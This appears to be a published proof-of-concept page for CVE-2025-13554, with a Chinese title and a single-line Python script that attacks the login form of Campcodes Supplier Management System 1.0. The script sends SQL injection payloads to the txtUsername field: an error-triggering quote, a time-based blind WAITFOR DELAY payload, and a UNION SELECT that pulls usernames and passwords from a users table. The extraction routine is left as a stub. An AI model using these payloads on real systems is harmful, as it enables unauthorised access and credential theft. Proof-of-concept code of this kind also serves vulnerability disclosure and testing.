CVE-2025-13554 Campcodes供应商管理系统1.0登录SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-13554 PoC - Campcodes Supplier Management System SQL Injection Vulnerable Parameter: txtUsername in /index.php Login Component CVSS Score: 7.3 (High) """ import requests import sys target_url = "http://target.com/index.php" def test_sql_injection(): """Test for SQL injection vulnerability in login form""" # Basic SQL injection test - single quote to trigger error payload_basic = "'" data = { "txtUsername": payload_basic, "txtPassword": "test", "btnLogin": "Login" } print(f"[*] Testing target: {target_url}") print(f"[*] Testing basic SQL injection payload...") try: response = requests.post(target_url, data=data, timeout=10) # Check for SQL error indicators sql_error_indicators = [ "mysql_", "sql syntax", "warning", "error in your sql", "unclosed quotation" ] response_text = response.text.lower() for indicator in sql_error_indicators: if indicator in response_text: print(f"[!] SQL Injection vulnerability confirmed!") print(f"[!] Error indicator found: {indicator}") return True print("[*] Basic test completed, trying blind injection...") # Blind SQL injection test (time-based) # MSSQL time-based blind injection payload_blind = "' WAITFOR DELAY '0:0:5'--" data_blind = { "txtUsername": payload_blind, "txtPassword": "test", "btnLogin": "Login" } import time start = time.time() response = requests.post(target_url, data=data_blind, timeout=15) elapsed = time.time() - start if elapsed >= 5: print(f"[!] Blind SQL Injection confirmed (response delayed by {elapsed:.2f}s)") return True print("[*] Vulnerability check completed") return False except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False def extract_data(): """Extract database information using UNION-based injection""" # UNION-based injection to extract user data payload = "' UNION SELECT NULL,NULL,username,password,NULL,NULL FROM users--" data = { "txtUsername": payload, "txtPassword": "test", "btnLogin": "Login" } print(f"[*] Attempting data extraction...") try: response = requests.post(target_url, data=data, timeout=10) # Parse response to extract credentials print(f"[*] Response length: {len(response.text)}") # Add extraction logic here except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-13554 SQL Injection PoC") print("Target: Campcodes Supplier Management System 1.0") print("=" * 60) if test_sql_injection(): print("\n[*] Vulnerability exists, proceeding with data extraction...") extract_data() else: print("\n[*] No obvious vulnerability detected")